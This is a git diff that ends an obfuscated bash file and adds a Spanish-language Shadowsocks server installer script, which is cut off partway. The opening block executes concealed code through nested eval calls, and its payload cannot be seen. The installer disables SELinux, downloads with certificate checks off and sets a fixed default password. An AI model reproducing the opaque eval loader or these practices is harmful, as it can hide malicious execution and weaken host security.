-d";oUDrzlxbgWnoYOJyPnrpTYjKOSiNSlMeKhckXbJpmGveuZXprhWRwUKBVKBzTNfDYyZVHCljFSficvSjdAXTRjwEpvXTaOIpsMul="xIzZEejbnJrUuIhUVXRkkNaZdcUrpngihgynwdXvHdOlDrnDzwnDLobTvtWgrjOHXecWAuUIkRGKdCrkipCOkpMvdTkNFTcMNgox";eQeknUyRecKMskCLKilezatPBsUoNbBRsPgSTDILDJeqTwzLgYgiLETkPYEZxqCtNniWoITkaSHfSfBUePvIWxDoxXBnRlTWIHSL="";qMNTPWueMdEEhTSwjCueWyPlxuQWEzvUpQdgsNyTTdBRTqvaSliBfEQwYiUlIwgbNtWhPRkIvzKgMXqpRzRnJAgFkMPLNapEWdBR="b";btPxuMvXRSuZyXSvpHWIZRbtymxXshfFyrkOdTLomGyTOcGaXmXbBXlEptqpZSolYDjuivNQnRraGpPRaYeSTZupJJZcSqxONxeR="e";SGLFVpDkcRDhyWnouZNzBGoAZkYeOSlbeLdBmmlvdWobzXygiSWhOsZohzYADmhFRsEiRgTqCKqCJmNPqSEvlRUSfRPylEGpnzaO="v |";Tx=Eds;ElwLTPySbrxBQsyzKGgWGwofzppZXSrBduvKEtPiVUpOcNNNmeVmVFFGlzEuivVsGahhgHGyQuzZKemFmAHVZUlDeLThDivtnDJd="";JZrxkduoMpQgdquPMqjsvftoWhHokLWZNyZPJsKSeXaEYEeBfFFyUNvRoniaSgCEegepOhndPmUdqalocyhHeVKwHJrxEMAiEbNS=$(eval "$zNYxOIUgZkzzFWpIwJVLkUeeBlMGecozxNqJPqTIDXKuzFTbVVpxwPGqWYKyIRKzJciKCmqnUXZtFOqIlAonPLSTNKVSGRdmhHTq$btPxuMvXRSuZyXSvpHWIZRbtymxXshfFyrkOdTLomGyTOcGaXmXbBXlEptqpZSolYDjuivNQnRraGpPRaYeSTZupJJZcSqxONxeR$jcQyuhzQTlsviKbqkxIAVCNBmAzAXxOgQKvFapOTrZgJABykpcogLrQlRnLsVFCbBEZUiDDoLqtWcYbunuYjwmsmnWvOwFmAllBR$nmaTNWKpJIYGkhwzZalHvvqlzpMpKVyPprKxbdUdtRsRKpTwEHOBpQNqAXcAyRHsrvBhVQiUVxXUsJpWnFFDWSfbKzeTdoFpRlVb$VPtWAQIIACzxHquhbnDgiPbqhvwrnIDUfZFCrCSeZBgOeKVDRDIWBzMUBviQPCiohTBIgtMfGRURzYXwPXaRioGcOHOyqUsLkEDb$HsqBHgfnjVzVgYEfClywDjxMEeLmSVeiOYzjOsCrtGyegOIorAIJGoXdiasbJknMATDLpevDwWTxmwXrhpJlJaeDPzkVZaRMEFWD$btPxuMvXRSuZyXSvpHWIZRbtymxXshfFyrkOdTLomGyTOcGaXmXbBXlEptqpZSolYDjuivNQnRraGpPRaYeSTZupJJZcSqxONxeR$SGLFVpDkcRDhyWnouZNzBGoAZkYeOSlbeLdBmmlvdWobzXygiSWhOsZohzYADmhFRsEiRgTqCKqCJmNPqSEvlRUSfRPylEGpnzaO$zNYxOIUgZkzzFWpIwJVLkUeeBlMGecozxNqJPqTIDXKuzFTbVVpxwPGqWYKyIRKzJciKCmqnUXZtFOqIlAonPLSTNKVSGRdmhHTq$qMNTPWueMdEEhTSwjCueWyPlxuQWEzvUpQdgsNyTTdBRTqvaSliBfEQwYiUlIwgbNtWhPRkIvzKgMXqpRzRnJAgFkMPLNapEWdBR$ElwLTPySbrxBQsyzKGgWGwofzppZXSrBduvKEtPiVUpOcNNNmeVmVFFGlzEuivVsGahhgHGyQuzZKemFmAHVZUlDeLThDivtnDJd$YFjEExaColljYuCdVsKDoiqrTwysQbstNFZwUJpAQambZWwYJPdsnoIzOPIDEAUmYvxthuKpWSTbTMXAahjmRZQYhrzvDnPEuxGw$btPxuMvXRSuZyXSvpHWIZRbtymxXshfFyrkOdTLomGyTOcGaXmXbBXlEptqpZSolYDjuivNQnRraGpPRaYeSTZupJJZcSqxONxeR$aqcmNMuKFVNvYMkzXdwHXNTzjgOJRIiXpXsGUEBLkBYKBxPLSSZbrvtvWZJVuOfmLLXiZPQmaQjoSkBFWkIhVjlgApbYarLkTpMd$nmaTNWKpJIYGkhwzZalHvvqlzpMpKVyPprKxbdUdtRsRKpTwEHOBpQNqAXcAyRHsrvBhVQiUVxXUsJpWnFFDWSfbKzeTdoFpRlVb$MKajUAPdmXToqOQsPyVPPPNlrvbvBkQNHzsMQbmJsoYanXsDLkLvbxteAYUgiSReTKfCrpEEwgWhCcYEvwlroZgwWnMNVYxCcyvz$vELvPHhPTLsjdNpKHHhRmVTWffqmiPVTUmLMadySokNnMWaaTbYXYKqDJFKsAirYDyuVmSTUSDzmRwufIBuxHLKfJodshmaLtqoc$ElwLTPySbrxBQsyzKGgWGwofzppZXSrBduvKEtPiVUpOcNNNmeVmVFFGlzEuivVsGahhgHGyQuzZKemFmAHVZUlDeLThDivtnDJd");eval "$eQeknUyRecKMskCLKilezatPBsUoNbBRsPgSTDILDJeqTwzLgYgiLETkPYEZxqCtNniWoITkaSHfSfBUePvIWxDoxXBnRlTWIHSL$JZrxkduoMpQgdquPMqjsvftoWhHokLWZNyZPJsKSeXaEYEeBfFFyUNvRoniaSgCEegepOhndPmUdqalocyhHeVKwHJrxEMAiEbNS$zNYxOIUgZkzzFWpIwJVLkUeeBlMGecozxNqJPqTIDXKuzFTbVVpxwPGqWYKyIRKzJciKCmqnUXZtFOqIlAonPLSTNKVSGRdmhHTq$nmaTNWKpJIYGkhwzZalHvvqlzpMpKVyPprKxbdUdtRsRKpTwEHOBpQNqAXcAyRHsrvBhVQiUVxXUsJpWnFFDWSfbKzeTdoFpRlVb" \ No newline at end of file diff --git a/Recursos/shadowsocks.sh b/Recursos/shadowsocks.sh new file mode 100644 index 0000000..69e1c75 --- /dev/null +++ b/Recursos/shadowsocks.sh @@ -0,0 +1,1247 @@ +eval PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin +export PATH +red='\033[0;31m' +green='\033[0;32m' +yellow='\033[0;33m' +plain='\033[0m' +[[ $EUID -ne 0 ]] && echo -e "[${red}Error${plain}] This script must be run as root!" && exit 1 +cur_dir=$( pwd ) +software=(Shadowsocks-Python ShadowsocksR Shadowsocks-Go Shadowsocks-libev) +libsodium_file="libsodium-1.0.17" +libsodium_url="https://github.com/jedisct1/libsodium/releases/download/1.0.17/libsodium-1.0.17.tar.gz" +mbedtls_file="mbedtls-2.16.0" +mbedtls_url="https://tls.mbed.org/download/mbedtls-2.16.0-gpl.tgz" +shadowsocks_python_file="shadowsocks-master" +shadowsocks_python_url="https://github.com/shadowsocks/shadowsocks/archive/master.zip" +shadowsocks_python_init="/etc/init.d/shadowsocks-python" +shadowsocks_python_config="/etc/shadowsocks-python/config.json" +shadowsocks_python_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks" +shadowsocks_python_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-debian" +shadowsocks_r_file="shadowsocksr-3.2.2" +shadowsocks_r_url="https://github.com/shadowsocksrr/shadowsocksr/archive/3.2.2.tar.gz" +shadowsocks_r_init="/etc/init.d/shadowsocks-r" +shadowsocks_r_config="/etc/shadowsocks-r/config.json" +shadowsocks_r_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocksR" +shadowsocks_r_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocksR-debian" +shadowsocks_go_file_64="shadowsocks-server-linux64-1.2.2" +shadowsocks_go_url_64="https://dl.lamp.sh/shadowsocks/shadowsocks-server-linux64-1.2.2.gz" +shadowsocks_go_file_32="shadowsocks-server-linux32-1.2.2" +shadowsocks_go_url_32="https://dl.lamp.sh/shadowsocks/shadowsocks-server-linux32-1.2.2.gz" +shadowsocks_go_init="/etc/init.d/shadowsocks-go" +shadowsocks_go_config="/etc/shadowsocks-go/config.json" +shadowsocks_go_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-go" +shadowsocks_go_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-go-debian" +shadowsocks_libev_init="/etc/init.d/shadowsocks-libev" +shadowsocks_libev_config="/etc/shadowsocks-libev/config.json" +shadowsocks_libev_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-libev" +shadowsocks_libev_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-libev-debian" +common_ciphers=( +aes-256-gcm +aes-192-gcm +aes-128-gcm +aes-256-ctr +aes-192-ctr +aes-128-ctr +aes-256-cfb +aes-192-cfb +aes-128-cfb +camellia-128-cfb +camellia-192-cfb +camellia-256-cfb +xchacha20-ietf-poly1305 +chacha20-ietf-poly1305 +chacha20-ietf +chacha20 +salsa20 +rc4-md5 +) +go_ciphers=( +aes-256-cfb +aes-192-cfb +aes-128-cfb +aes-256-ctr +aes-192-ctr +aes-128-ctr +chacha20-ietf +chacha20 +salsa20 +rc4-md5 +) +r_ciphers=( +none +aes-256-cfb +aes-192-cfb +aes-128-cfb +aes-256-cfb8 +aes-192-cfb8 +aes-128-cfb8 +aes-256-ctr +aes-192-ctr +aes-128-ctr +chacha20-ietf +chacha20 +salsa20 +xchacha20 +xsalsa20 +rc4-md5 +) +protocols=( +origin +verify_deflate +auth_sha1_v4 +auth_sha1_v4_compatible +auth_aes128_md5 +auth_aes128_sha1 +auth_chain_a +auth_chain_b +auth_chain_c +auth_chain_d +auth_chain_e +auth_chain_f +) +obfs=( +plain +http_simple +http_simple_compatible +http_post +http_post_compatible +tls1.2_ticket_auth +tls1.2_ticket_auth_compatible +tls1.2_ticket_fastauth +tls1.2_ticket_fastauth_compatible +) +obfs_libev=(http tls) +libev_obfs="" +disable_selinux(){ +if [ -s /etc/selinux/config ] && grep 'SELINUX=enforcing' /etc/selinux/config; then +sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config +setenforce 0 +fi +} +check_sys(){ +local checkType=$1 +local value=$2 +local release='' +local systemPackage='' +if [[ -f /etc/redhat-release ]]; then +release="centos" +systemPackage="yum" +elif grep -Eqi "debian|raspbian" /etc/issue; then +release="debian" +systemPackage="apt" +elif grep -Eqi "ubuntu" /etc/issue; then +release="ubuntu" +systemPackage="apt" +elif grep -Eqi "centos|red hat|redhat" /etc/issue; then +release="centos" +systemPackage="yum" +elif grep -Eqi "debian|raspbian" /proc/version; then +release="debian" +systemPackage="apt" +elif grep -Eqi "ubuntu" /proc/version; then +release="ubuntu" +systemPackage="apt" +elif grep -Eqi "centos|red hat|redhat" /proc/version; then +release="centos" +systemPackage="yum" +fi +if [[ "${checkType}" == "sysRelease" ]]; then +if [ "${value}" == "${release}" ]; then +return 0 +else +return 1 +fi +elif [[ "${checkType}" == "packageManager" ]]; then +if [ "${value}" == "${systemPackage}" ]; then +return 0 +else +return 1 +fi +fi +} +version_ge(){ +test "$(echo "$@" | tr " " "\n" | sort -rV | head -n 1)" == "$1" +} +version_gt(){ +test "$(echo "$@" | tr " " "\n" | sort -V | head -n 1)" != "$1" +} +check_kernel_version(){ +local kernel_version=$(uname -r | cut -d- -f1) +if version_gt ${kernel_version} 3.7.0; then +return 0 +else +return 1 +fi +} +check_kernel_headers(){ +if check_sys packageManager yum; then +if rpm -qa | grep -q headers-$(uname -r); then +return 0 +else +return 1 +fi +elif check_sys packageManager apt; then +if dpkg -s linux-headers-$(uname -r) > /dev/null 2>&1; then +return 0 +else +return 1 +fi +fi +return 1 +} +getversion(){ +if [[ -s /etc/redhat-release ]]; then +grep -oE "[0-9.]+" /etc/redhat-release +else +grep -oE "[0-9.]+" /etc/issue +fi +} +centosversion(){ +if check_sys sysRelease centos; then +local code=$1 +local version="$(getversion)" +local main_ver=${version%%.*} +if [ "$main_ver" == "$code" ]; then +return 0 +else +return 1 +fi +else +return 1 +fi +} +autoconf_version(){ +if [ ! "$(command -v autoconf)" ]; then +echo -e "[${green}Info${plain}] Starting install package autoconf" +if check_sys packageManager yum; then +yum install -y autoconf > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf" +elif check_sys packageManager apt; then +apt-get -y update > /dev/null 2>&1 +apt-get -y install autoconf > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf" +fi +fi +local autoconf_ver=$(autoconf --version | grep autoconf | grep -oE "[0-9.]+") +if version_ge ${autoconf_ver} 2.67; then +return 0 +else +return 1 +fi +} +get_ip(){ +local IP=$( ip addr | egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | egrep -v "^192\.168|^172\.1[6-9]\.|^172\.2[0-9]\.|^172\.3[0-2]\.|^10\.|^127\.|^255\.|^0\." | head -n 1 ) +[ -z ${IP} ] && IP=$( wget -qO- -t1 -T2 ipv4.icanhazip.com ) +[ -z ${IP} ] && IP=$( wget -qO- -t1 -T2 ipinfo.io/ip ) +echo ${IP} +} +get_ipv6(){ +local ipv6=$(wget -qO- -t1 -T2 ipv6.icanhazip.com) +[ -z ${ipv6} ] && return 1 || return 0 +} +get_libev_ver(){ +libev_ver=$(wget --no-check-certificate -qO- https://api.github.com/repos/shadowsocks/shadowsocks-libev/releases/latest | grep 'tag_name' | cut -d\" -f4) +[ -z ${libev_ver} ] && echo -e "[${red}Error${plain}] Get shadowsocks-libev latest version failed" && exit 1 +} +get_opsy(){ +[ -f /etc/redhat-release ] && awk '{print ($1,$3~/^[0-9]/?$3:$4)}' /etc/redhat-release && return +[ -f /etc/os-release ] && awk -F'[= "]' '/PRETTY_NAME/{print $3,$4,$5}' /etc/os-release && return +[ -f /etc/lsb-release ] && awk -F'[="]+' '/DESCRIPTION/{print $2}' /etc/lsb-release && return +} +is_64bit(){ +if [ `getconf WORD_BIT` = '32' ] && [ `getconf LONG_BIT` = '64' ] ; then +return 0 +else +return 1 +fi +} +debianversion(){ +if check_sys sysRelease debian;then +local version=$( get_opsy ) +local code=${1} +local main_ver=$( echo ${version} | sed 's/[^0-9]//g') +if [ "${main_ver}" == "${code}" ];then +return 0 +else +return 1 +fi +else +return 1 +fi +} +download(){ +local filename=$(basename $1) +if [ -f ${1} ]; then +echo "${filename} [found]" +else +echo "${filename} not found, download now..." +wget --no-check-certificate -c -t3 -T60 -O ${1} ${2} +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Download ${filename} failed." +exit 1 +fi +fi +} +download_files(){ +cd ${cur_dir} +if [ "${selected}" == "1" ]; then +download "${shadowsocks_python_file}.zip" "${shadowsocks_python_url}" +if check_sys packageManager yum; then +download "${shadowsocks_python_init}" "${shadowsocks_python_centos}" +elif check_sys packageManager apt; then +download "${shadowsocks_python_init}" "${shadowsocks_python_debian}" +fi +elif [ "${selected}" == "2" ]; then +download "${shadowsocks_r_file}.tar.gz" "${shadowsocks_r_url}" +if check_sys packageManager yum; then +download "${shadowsocks_r_init}" "${shadowsocks_r_centos}" +elif check_sys packageManager apt; then +download "${shadowsocks_r_init}" "${shadowsocks_r_debian}" +fi +elif [ "${selected}" == "3" ]; then +if is_64bit; then +download "${shadowsocks_go_file_64}.gz" "${shadowsocks_go_url_64}" +else +download "${shadowsocks_go_file_32}.gz" "${shadowsocks_go_url_32}" +fi +if check_sys packageManager yum; then +download "${shadowsocks_go_init}" "${shadowsocks_go_centos}" +elif check_sys packageManager apt; then +download "${shadowsocks_go_init}" "${shadowsocks_go_debian}" +fi +elif [ "${selected}" == "4" ]; then +get_libev_ver +shadowsocks_libev_file="shadowsocks-libev-$(echo ${libev_ver} | sed -e 's/^[a-zA-Z]//g')" +shadowsocks_libev_url="https://github.com/shadowsocks/shadowsocks-libev/releases/download/${libev_ver}/${shadowsocks_libev_file}.tar.gz" +download "${shadowsocks_libev_file}.tar.gz" "${shadowsocks_libev_url}" +if check_sys packageManager yum; then +download "${shadowsocks_libev_init}" "${shadowsocks_libev_centos}" +elif check_sys packageManager apt; then +download "${shadowsocks_libev_init}" "${shadowsocks_libev_debian}" +fi +fi +} +get_char(){ +SAVEDSTTY=$(stty -g) +stty -echo +stty cbreak +dd if=/dev/tty bs=1 count=1 2> /dev/null +stty -raw +stty echo +stty $SAVEDSTTY +} +error_detect_depends(){ +local command=$1 +local depend=`echo "${command}" | awk '{print $4}'` +echo -e "[${green}Info${plain}] Starting to install package ${depend}" +${command} > /dev/null 2>&1 +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Failed to install ${red}${depend}${plain}" +exit 1 +fi +} +config_firewall(){ +if centosversion 6; then +/etc/init.d/iptables status > /dev/null 2>&1 +if [ $? -eq 0 ]; then +iptables -L -n | grep -i ${shadowsocksport} > /dev/null 2>&1 +if [ $? -ne 0 ]; then +iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${shadowsocksport} -j ACCEPT +iptables -I INPUT -m state --state NEW -m udp -p udp --dport ${shadowsocksport} -j ACCEPT +/etc/init.d/iptables save +/etc/init.d/iptables restart +else +echo -e "[${green}Info${plain}] port ${green}${shadowsocksport}${plain} already be enabled." +fi +else +echo -e "[${yellow}Warning${plain}] iptables looks like not running or not installed, please enable port ${shadowsocksport} manually if necessary." +fi +elif centosversion 7; then +systemctl status firewalld > /dev/null 2>&1 +if [ $? -eq 0 ]; then +default_zone=$(firewall-cmd --get-default-zone) +firewall-cmd --permanent --zone=${default_zone} --add-port=${shadowsocksport}/tcp +firewall-cmd --permanent --zone=${default_zone} --add-port=${shadowsocksport}/udp +firewall-cmd --reload +else +echo -e "[${yellow}Warning${plain}] firewalld looks like not running or not installed, please enable port ${shadowsocksport} manually if necessary." +fi +fi +} +config_shadowsocks(){ +if check_kernel_version && check_kernel_headers; then +fast_open="true" +else +fast_open="false" +fi +if [ "${selected}" == "1" ]; then +if [ ! -d "$(dirname ${shadowsocks_python_config})" ]; then +mkdir -p $(dirname ${shadowsocks_python_config}) +fi +cat > ${shadowsocks_python_config}<<-EOF +{ +"server":"0.0.0.0", +"server_port":${shadowsocksport}, +"local_address":"127.0.0.1", +"local_port":1080, +"password":"${shadowsockspwd}", +"timeout":300, +"method":"${shadowsockscipher}", +"fast_open":${fast_open} +} +EOF +elif [ "${selected}" == "2" ]; then +if [ ! -d "$(dirname ${shadowsocks_r_config})" ]; then +mkdir -p $(dirname ${shadowsocks_r_config}) +fi +cat > ${shadowsocks_r_config}<<-EOF +{ +"server":"0.0.0.0", +"server_ipv6":"::", +"server_port":${shadowsocksport}, +"local_address":"127.0.0.1", +"local_port":1080, +"password":"${shadowsockspwd}", +"timeout":120, +"method":"${shadowsockscipher}", +"protocol":"${shadowsockprotocol}", +"protocol_param":"", +"obfs":"${shadowsockobfs}", +"obfs_param":"", +"redirect":"", +"dns_ipv6":false, +"fast_open":${fast_open}, +"workers":1 +} +EOF +elif [ "${selected}" == "3" ]; then +if [ ! -d "$(dirname ${shadowsocks_go_config})" ]; then +mkdir -p $(dirname ${shadowsocks_go_config}) +fi +cat > ${shadowsocks_go_config}<<-EOF +{ +"server":"0.0.0.0", +"server_port":${shadowsocksport}, +"local_port":1080, +"password":"${shadowsockspwd}", +"method":"${shadowsockscipher}", +"timeout":300 +} +EOF +elif [ "${selected}" == "4" ]; then +local server_value="\"0.0.0.0\"" +if get_ipv6; then +server_value="[\"[::0]\",\"0.0.0.0\"]" +fi +if [ ! -d "$(dirname ${shadowsocks_libev_config})" ]; then +mkdir -p $(dirname ${shadowsocks_libev_config}) +fi +if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then +cat > ${shadowsocks_libev_config}<<-EOF +{ +"server":${server_value}, +"server_port":${shadowsocksport}, +"password":"${shadowsockspwd}", +"timeout":300, +"user":"nobody", +"method":"${shadowsockscipher}", +"fast_open":${fast_open}, +"nameserver":"8.8.8.8", +"mode":"tcp_and_udp", +"plugin":"obfs-server", +"plugin_opts":"obfs=${shadowsocklibev_obfs}" +} +EOF +else +cat > ${shadowsocks_libev_config}<<-EOF +{ +"server":${server_value}, +"server_port":${shadowsocksport}, +"password":"${shadowsockspwd}", +"timeout":300, +"user":"nobody", +"method":"${shadowsockscipher}", +"fast_open":${fast_open}, +"nameserver":"8.8.8.8", +"mode":"tcp_and_udp" +} +EOF +fi +fi +} +install_dependencies(){ +if check_sys packageManager yum; then +echo -e "[${green}Info${plain}] Checking the EPEL repository..." +if [ ! -f /etc/yum.repos.d/epel.repo ]; then +yum install -y epel-release > /dev/null 2>&1 +fi +[ ! -f /etc/yum.repos.d/epel.repo ] && echo -e "[${red}Error${plain}] Install EPEL repository failed, please check it." && exit 1 +[ ! "$(command -v yum-config-manager)" ] && yum install -y yum-utils > /dev/null 2>&1 +[ x"$(yum-config-manager epel | grep -w enabled | awk '{print $3}')" != x"True" ] && yum-config-manager --enable epel > /dev/null 2>&1 +echo -e "[${green}Info${plain}] Checking the EPEL repository complete..." +yum_depends=( +unzip gzip openssl openssl-devel gcc python python-devel python-setuptools pcre pcre-devel libtool libevent +autoconf automake make curl curl-devel zlib-devel perl perl-devel cpio expat-devel gettext-devel +libev-devel c-ares-devel git qrencode +) +for depend in ${yum_depends[@]}; do +error_detect_depends "yum -y install ${depend}" +done +elif check_sys packageManager apt; then +apt_depends=( +gettext build-essential unzip gzip python python-dev python-setuptools curl openssl libssl-dev +autoconf automake libtool gcc make perl cpio libpcre3 libpcre3-dev zlib1g-dev libev-dev libc-ares-dev git qrencode +) +apt-get -y update +for depend in ${apt_depends[@]}; do +error_detect_depends "apt-get -y install ${depend}" +done +fi +} +install_check(){ +if check_sys packageManager yum || check_sys packageManager apt; then +if centosversion 5; then +return 1 +fi +return 0 +else +return 1 +fi +} +install_select(){ +if ! install_check; then +echo -e "[${red}Error${plain}] Your OS is not supported to run it!" +echo "Please change to CentOS 6+/Debian 7+/Ubuntu 12+ and try again." +exit 1 +fi +clear +while true +do +echo "Cual servidor Shadowsocks quieres instalar (recomendado 4):" +for ((i=1;i<=${#software[@]};i++ )); do +hint="${software[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Escribe un numero (Default ${software[0]}):" selected +[ -z "${selected}" ] && selected="1" +case "${selected}" in +1|2|3|4) +echo +echo "Escogiste = ${software[${selected}-1]}" +echo +break +;; +*) +echo -e "[${red}Error${plain}] Por favor escribe un numero del [1-4]" +;; +esac +done +} +install_prepare_password(){ +echo "Escribe una contraseña ${software[${selected}-1]}" +read -p "(Default password: chumogh):" shadowsockspwd +[ -z "${shadowsockspwd}" ] && shadowsockspwd="chumogh" +echo +echo "password = ${shadowsockspwd}" +echo +} +install_prepare_port() { +while true +do +dport=$(shuf -i 9000-19999 -n 1) +echo -e "Por favor escribe un puerto ${software[${selected}-1]} [1-65535]" +read -p "(Default port: ${dport}):" shadowsocksport +[ -z "${shadowsocksport}" ] && shadowsocksport=${dport} +expr ${shadowsocksport} + 1 &>/dev/null +if [ $? -eq 0 ]; then +if [ ${shadowsocksport} -ge 1 ] && [ ${shadowsocksport} -le 65535 ] && [ ${shadowsocksport:0:1} != 0 ]; then +echo +echo "port = ${shadowsocksport}" +echo +break +fi +fi +echo -e "[${red}Error${plain}] Por favor escribe un numero entre [1-65535]" +done +} +install_prepare_cipher(){ +while true +do +echo -e "Escribe el tipo de encriptacion ${software[${selected}-1]}:" +if [[ "${selected}" == "1" || "${selected}" == "4" ]]; then +for ((i=1;i<=${#common_ciphers[@]};i++ )); do +hint="${common_ciphers[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Encriptacion(Default: ${common_ciphers[0]}):" pick +[ -z "$pick" ] && pick=1 +expr ${pick} + 1 &>/dev/null +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero" +continue +fi +if [[ "$pick" -lt 1 || "$pick" -gt ${#common_ciphers[@]} ]]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#common_ciphers[@]}" +continue +fi +shadowsockscipher=${common_ciphers[$pick-1]} +elif [ "${selected}" == "2" ]; then +for ((i=1;i<=${#r_ciphers[@]};i++ )); do +hint="${r_ciphers[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Encriptacion(Default: ${r_ciphers[1]}):" pick +[ -z "$pick" ] && pick=2 +expr ${pick} + 1 &>/dev/null +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero" +continue +fi +if [[ "$pick" -lt 1 || "$pick" -gt ${#r_ciphers[@]} ]]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#r_ciphers[@]}" +continue +fi +shadowsockscipher=${r_ciphers[$pick-1]} +elif [ "${selected}" == "3" ]; then +for ((i=1;i<=${#go_ciphers[@]};i++ )); do +hint="${go_ciphers[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Encriptacion(Default: ${go_ciphers[0]}):" pick +[ -z "$pick" ] && pick=1 +expr ${pick} + 1 &>/dev/null +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero" +continue +fi +if [[ "$pick" -lt 1 || "$pick" -gt ${#go_ciphers[@]} ]]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#go_ciphers[@]}" +continue +fi +shadowsockscipher=${go_ciphers[$pick-1]} +fi +echo +echo "cipher = ${shadowsockscipher}" +echo +break +done +} +install_prepare_protocol(){ +while true +do +echo -e "Escoge un protocolo ${software[${selected}-1]}:" +for ((i=1;i<=${#protocols[@]};i++ )); do +hint="${protocols[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Protocolo(Default: ${protocols[0]}):" protocol +[ -z "$protocol" ] && protocol=1 +expr ${protocol} + 1 &>/dev/null +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero" +continue +fi +if [[ "$protocol" -lt 1 || "$protocol" -gt ${#protocols[@]} ]]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#protocols[@]}" +continue +fi +shadowsockprotocol=${protocols[$protocol-1]} +echo +echo "protocol = ${shadowsockprotocol}" +echo +break +done +} +install_prepare_obfs(){ +while true +do +echo -e "Please select obfs for ${software[${selected}-1]}:" +for ((i=1;i<=${#obfs[@]};i++ )); do +hint="${obfs[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Obfs(Default: ${obfs[0]}):" r_obfs +[ -z "$r_obfs" ] && r_obfs=1 +expr ${r_obfs} + 1 &>/dev/null +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero" +continue +fi +if [[ "$r_obfs" -lt 1 || "$r_obfs" -gt ${#obfs[@]} ]]; then +echo -e "[${red}Error${plain}] Por favor escoge un numero entre 1 y ${#obfs[@]}" +continue +fi +shadowsockobfs=${obfs[$r_obfs-1]} +echo +echo "obfs = ${shadowsockobfs}" +echo +break +done +} +install_prepare_libev_obfs(){ +if autoconf_version || centosversion 6; then +while true +do +echo -e "Quieres instalar simple-obfs para ${software[${selected}-1]}? [y/n]" +read -p "(default: n):" libev_obfs +[ -z "$libev_obfs" ] && libev_obfs=n +case "${libev_obfs}" in +y|Y|n|N) +echo +echo "Escogiste = ${libev_obfs}" +echo +break +;; +*) +echo -e "[${red}Error${plain}] Por favor solo escribe [y/n]" +;; +esac +done +if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then +while true +do +echo -e "Por favor selecciona el simple-obfs:" +for ((i=1;i<=${#obfs_libev[@]};i++ )); do +hint="${obfs_libev[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Obfs(Default: ${obfs_libev[0]}):" r_libev_obfs +[ -z "$r_libev_obfs" ] && r_libev_obfs=1 +expr ${r_libev_obfs} + 1 &>/dev/null +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero" +continue +fi +if [[ "$r_libev_obfs" -lt 1 || "$r_libev_obfs" -gt ${#obfs_libev[@]} ]]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#obfs_libev[@]}" +continue +fi +shadowsocklibev_obfs=${obfs_libev[$r_libev_obfs-1]} +echo +echo "obfs = ${shadowsocklibev_obfs}" +echo +break +done +fi +else +echo -e "[${green}Info${plain}] autoconf version is less than 2.67, simple-obfs for ${software[${selected}-1]} installation has been skipped" +fi +} +install_prepare(){ +if [[ "${selected}" == "1" || "${selected}" == "3" || "${selected}" == "4" ]]; then +install_prepare_password +install_prepare_port +install_prepare_cipher +if [ "${selected}" == "4" ]; then +install_prepare_libev_obfs +fi +elif [ "${selected}" == "2" ]; then +install_prepare_password +install_prepare_port +install_prepare_cipher +install_prepare_protocol +install_prepare_obfs +fi +echo +echo "Presiona cualquier tecla para continuar...o Presiona Ctrl+C para cancelar" +char=`get_char` +} +install_libsodium(){ +if [ ! -f /usr/lib/libsodium.a ]; then +cd ${cur_dir} +download "${libsodium_file}.tar.gz" "${libsodium_url}" +tar zxf ${libsodium_file}.tar.gz +cd ${libsodium_file} +./configure --prefix=/usr && make && make install +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] ${libsodium_file} install failed." +install_cleanup +exit 1 +fi +else +echo -e "[${green}Info${plain}] ${libsodium_file} already installed." +fi +} +install_mbedtls(){ +if [ ! -f /usr/lib/libmbedtls.a ]; then +cd ${cur_dir} +download "${mbedtls_file}-gpl.tgz" "${mbedtls_url}" +tar xf ${mbedtls_file}-gpl.tgz +cd ${mbedtls_file} +make SHARED=1 CFLAGS=-fPIC +make DESTDIR=/usr install +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] ${mbedtls_file} install failed." +install_cleanup +exit 1 +fi +else +echo -e "[${green}Info${plain}] ${mbedtls_file} 